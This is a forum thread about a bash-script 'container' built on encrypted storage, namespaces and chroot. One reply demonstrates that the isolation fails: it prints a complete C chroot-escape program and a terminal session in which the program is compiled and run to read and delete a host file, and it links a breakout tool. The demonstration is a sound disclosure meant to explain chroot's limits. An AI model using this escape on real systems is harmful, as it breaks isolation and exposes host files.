A Container using only bash commands

About writing shell scripts and making the most of your shell
Forum rules
Topics in this forum are automatically closed 6 months after creation.
Locked
bgoodwin91006
Level 3
Level 3
Posts: 110
Joined: Tue Nov 15, 2016 4:32 pm

A Container using only bash commands

Post by bgoodwin91006 »

Hi All,
I have uploaded a set of files to github demonstrating creating and using a container using bash commands.
https://github.com/bgoodwin91006-1/Cont ... bash-shell

There are three files; open-container.sh, close-container-sh and README.txt.

You will need to go to the README.txt file first for instruction on creating the container file. Once the file is created, use ~/open-container.sh to initialize the container and receive instructions on properly entering the container. Use close-container.sh to release resources used while open and restore the file to a simple encrypted state.

As is, the container uses namespaces to isolate it from the host. It is encrypted and when closed it appears to the host simply as an encrypted file. When opened using the 'open' script, it appears as a complete Linux file system. While open, the host can access the container content using root or sudo but the container cannot see the host's /home directory and cannot write to any host's files even as root. It can however run any apps which were installed system-wide on the host, for example Firefox. It needs to be launched from a terminal on a desktop if you wish to run graphics programs within the container. '$sudo ~/open-container.sh'. It will then use the desktop's display. Programs run within the container will run at native speed. The container is normally opened using the open-container.sh script. The script issues instructions for properly entering the container and these instructions should be followed each time you enter the container in order to maintain isolation.

Within the container you can create users, and this user will not conflict with the same user name on the host. Files created by root or a user within the container will remain in the container when it is closed. It's interesting to note that within the container, the 'ps ax' command shows that process ID number one is the root's bash shell, not the 'init' process. This is another example of the isolation of the container from the host. Host processes do not appear to the container.

The bash shell approach to this project will hopefully help to demystify containers as the scripts and the README are text files that can be studied and are straight forward simple in style. Hope you find this useful.
Best regards,
Bob G.
Last edited by LockBot on Wed Dec 28, 2022 7:16 am, edited 1 time in total.
Reason: Topic automatically closed 6 months after creation. New replies are no longer allowed.
rene
Level 20
Level 20
Posts: 12212
Joined: Sun Mar 27, 2016 6:58 pm

Re: A Container using only bash commands

Post by rene »

Pardon the silence; given that I saw it was a chroot jail I first wanted to check something before I replied but then forgot. When I just now did I'm noticing that in a standard Debian/Mint unshare needs root. I.e.:

Code: Select all

rene@hp8k:~$ sudo bash Container-using-the-bash-shell/open-container.sh 
Enter passphrase for /home/rene/rootfs: 
non-network local connections being added to access control list
***********************************
PLEASE NOTE THE FOLLOWING
***********************************
Use ' unshare -p -f chroot /home/rene/Rootfs /bin/bash' to attach to the container
Remember to mount proc from within the alt root.
as root; mount -t proc proc /proc
unmount /proc before closing the container.
rene@hp8k:~$ unshare -p -f chroot /home/rene/Rootfs /bin/bash
unshare: unshare failed: Operation not permitted
After sudo sysctl -w kernel.unprivileged_userns_clone=1 I can use -r with unshare but can then basically not do anything inside the chroot.

Did you want me/us to do sudo unshare ...? Because in that case, and as to that thing that I wanted to check before replying, it's quite easy to break out of the chroot.
bgoodwin91006
Level 3
Level 3
Posts: 110
Joined: Tue Nov 15, 2016 4:32 pm

Re: A Container using only bash commands

Post by bgoodwin91006 »

rene wrote: Sun Dec 12, 2021 8:07 pm Pardon the silence; given that I saw it was a chroot jail I first wanted to check something before I replied but then forgot. When I just now did I'm noticing that in a standard Debian/Mint unshare needs root. I.e.:

Code: Select all

rene@hp8k:~$ sudo bash Container-using-the-bash-shell/open-container.sh 
Enter passphrase for /home/rene/rootfs: 
non-network local connections being added to access control list
***********************************
PLEASE NOTE THE FOLLOWING
***********************************
Use ' unshare -p -f chroot /home/rene/Rootfs /bin/bash' to attach to the container
Remember to mount proc from within the alt root.
as root; mount -t proc proc /proc
unmount /proc before closing the container.
rene@hp8k:~$ unshare -p -f chroot /home/rene/Rootfs /bin/bash
unshare: unshare failed: Operation not permitted
After sudo sysctl -w kernel.unprivileged_userns_clone=1 I can use -r with unshare but can then basically not do anything inside the chroot.

Did you want me/us to do sudo unshare ...? Because in that case, and as to that thing that I wanted to check before replying, it's quite easy to break out of the chroot.
Hi rene,
Thank you for looking at my submission and commenting.

I meant for the unshare command to be executed as a privileged user. The way I use root within the container is to mount /proc. I also used it to create a user account. I run my apps as an unprivileged user.

I have no hacking expertise and do not know much about ways to break out of a container. Certainly, restrictions on resources using control groups would improve security. Something I will be working on next. I have found that in playing around with root privilege within the container, I was not able to effect the host.

I would like to invite you to make improvements. This is just a way to gain a little extra privacy or something to learn a bit about the system and play with. Written in bash shell commands, it should be easy to read, and easy to modify.
Best regards,
Bob G.
rene
Level 20
Level 20
Posts: 12212
Joined: Sun Mar 27, 2016 6:58 pm

Re: A Container using only bash commands

Post by rene »

bgoodwin91006 wrote: Sun Dec 12, 2021 11:47 pm I meant for the unshare command to be executed as a privileged user. The way I use root within the container is to mount /proc. I also used it to create a user account.
You've even with unshare -r not enough privilege for those things as a merely privileged user so assuming then that you intended indeed for the chroot to be run in fact using said privileged state through sudo...

Don't get me wrong, I understand that "security" is not necessarily the full or direct point of your post/scripts but given the promised isolation I still consider it relevant to remark upon: breaking out of a root-run chroot is basically one Google search away, for example https://github.com/earthquake/chw00t. As a demonstration:

Code: Select all

rene@hp8k:~$ echo password > MYSECRETS
rene@hp8k:~$ sudo bash Container-using-the-bash-shell/open-container.sh 
Enter passphrase for /home/rene/rootfs: 
non-network local connections being added to access control list
***********************************
PLEASE NOTE THE FOLLOWING
***********************************
Use ' unshare -p -f chroot /home/rene/Rootfs /bin/bash' to attach to the container
Remember to mount proc from within the alt root.
as root; mount -t proc proc /proc
unmount /proc before closing the container.
rene@hp8k:~$ sudo unshare -p -f chroot /home/rene/Rootfs /bin/bash
root@hp8k:/# cat /home/rene/MYSECRETS
cat: /home/rene/MYSECRETS: No such file or directory
root@hp8k:/# cat breakout.c
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#include <stdlib.h>
#include <stdio.h>

int main(void)
{
	if (mkdir("d", 0755) < 0) {
		perror("mkdir d");
		return EXIT_FAILURE;
	}
	if (chroot("d") < 0) {
		perror("chroot d");
		return EXIT_FAILURE;
	}
	for (int i = 0; i < 1024; i++)
		if (chdir("..") < 0) {
			perror("chdir ..");
			return EXIT_FAILURE;
		}
	if (chroot(".") < 0) {
		perror("chroot .");
		return EXIT_FAILURE;
	}
	return system("/bin/bash");
}
root@hp8k:/# gcc -W -Wall -o breakout breakout.c 
root@hp8k:/# ./breakout 
root@hp8k:/# cat /home/rene/MYSECRETS 
password
root@hp8k:/# rm /home/rene/MYSECRETS 
root@hp8k:/#
It's a matter of the chroot() context not nesting; after the above chroot("d") we've a working directory still outside of the chroot, then chdir up enough times to be in the actual root and chroot() again back to said actual root to have broken out fully.

It's a widely known thing and plain chroot is as such not really useful for containerisation if isolation needs to be mandatory. Although I haven't myself looked at things the at the moment used alternative would be systemd-nspawn, see e.g. https://wiki.archlinux.org/title/Systemd-nspawn (which, mind you, might for all I know and care be broken in that respect "as well"; have as said not looked).
bgoodwin91006
Level 3
Level 3
Posts: 110
Joined: Tue Nov 15, 2016 4:32 pm

Re: A Container using only bash commands

Post by bgoodwin91006 »

rene wrote: Mon Dec 13, 2021 7:49 am
bgoodwin91006 wrote: Sun Dec 12, 2021 11:47 pm I meant for the unshare command to be executed as a privileged user. The way I use root within the container is to mount /proc. I also used it to create a user account.
You've even with unshare -r not enough privilege for those things as a merely privileged user so assuming then that you intended indeed for the chroot to be run in fact using said privileged state through sudo...

Don't get me wrong, I understand that "security" is not necessarily the full or direct point of your post/scripts but given the promised isolation I still consider it relevant to remark upon: breaking out of a root-run chroot is basically one Google search away, for example https://github.com/earthquake/chw00t. As a demonstration:

Code: Select all

rene@hp8k:~$ echo password > MYSECRETS
rene@hp8k:~$ sudo bash Container-using-the-bash-shell/open-container.sh 
Enter passphrase for /home/rene/rootfs: 
non-network local connections being added to access control list
***********************************
PLEASE NOTE THE FOLLOWING
***********************************
Use ' unshare -p -f chroot /home/rene/Rootfs /bin/bash' to attach to the container
Remember to mount proc from within the alt root.
as root; mount -t proc proc /proc
unmount /proc before closing the container.
rene@hp8k:~$ sudo unshare -p -f chroot /home/rene/Rootfs /bin/bash
root@hp8k:/# cat /home/rene/MYSECRETS
cat: /home/rene/MYSECRETS: No such file or directory
root@hp8k:/# cat breakout.c
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#include <stdlib.h>
#include <stdio.h>

int main(void)
{
	if (mkdir("d", 0755) < 0) {
		perror("mkdir d");
		return EXIT_FAILURE;
	}
	if (chroot("d") < 0) {
		perror("chroot d");
		return EXIT_FAILURE;
	}
	for (int i = 0; i < 1024; i++)
		if (chdir("..") < 0) {
			perror("chdir ..");
			return EXIT_FAILURE;
		}
	if (chroot(".") < 0) {
		perror("chroot .");
		return EXIT_FAILURE;
	}
	return system("/bin/bash");
}
root@hp8k:/# gcc -W -Wall -o breakout breakout.c 
root@hp8k:/# ./breakout 
root@hp8k:/# cat /home/rene/MYSECRETS 
password
root@hp8k:/# rm /home/rene/MYSECRETS 
root@hp8k:/#
It's a matter of the chroot() context not nesting; after the above chroot("d") we've a working directory still outside of the chroot, then chdir up enough times to be in the actual root and chroot() again back to said actual root to have broken out fully.

It's a widely known thing and plain chroot is as such not really useful for containerisation if isolation needs to be mandatory. Although I haven't myself looked at things the at the moment used alternative would be systemd-nspawn, see e.g. https://wiki.archlinux.org/title/Systemd-nspawn (which, mind you, might for all I know and care be broken in that respect "as well"; have as said not looked).
Hi rene,
Again thank you for bearing with my novice attempt at a container.

My first thought was to eliminate the chroot command or somehow block its use within Rootfs. Every scheme I could come up with to do that was easily circumventable. The only thing I could think of that might work was trapping every command event with a kernel bpf and filtering out any attempt to chroot. That would need to be part of the host setup. and breakdown afterward. The problem is;
1. It's just conjecture on my part whether that would even work.
2. I don't have any real expertise creating and configuring a bpf.
3. I wonder how much overhead such a bpf would add to the kernel workload.
4. could it be done with bash commands?

You've presented me with a puzzle that would not be easy to solve. I Like the basic Rootfs so much that I am going to give it a try. See you in about six months to a year :)

Best regards,
Bob G.
rene
Level 20
Level 20
Posts: 12212
Joined: Sun Mar 27, 2016 6:58 pm

Re: A Container using only bash commands

Post by rene »

Note though that systemd-nspawn is as far as I can see more or less a drop in replacement for chroot in this context; would still allow you to do all else. Not tried but as far as I can quickly see would allow the rest of your basic setup to live on exactly as now.

I don't believe you should try saving chroot. You can probably do something with AppArmor but I've a sneaking suspicion that you end up with either a container locked down too far to be be considered a general solution or with one that's eventually easily broken out of anyway.
bgoodwin91006
Level 3
Level 3
Posts: 110
Joined: Tue Nov 15, 2016 4:32 pm

Re: A Container using only bash commands

Post by bgoodwin91006 »

Once again; thanks rene.

You've given me a lot to think about. It will take some time to sort out your suggestions and my own ideas. Do you think it would be inappropriate to leave my files up on git-hub with some caveats added to the README file?

Best regards,
Bob G.
rene
Level 20
Level 20
Posts: 12212
Joined: Sun Mar 27, 2016 6:58 pm

Re: A Container using only bash commands

Post by rene »

No, I'd say you can certainly leave things up; chroot breaking requires actively bad actor; is perfectly fine for "cooperative isolation", so to speak.
Locked

Return to “Scripts & Bash”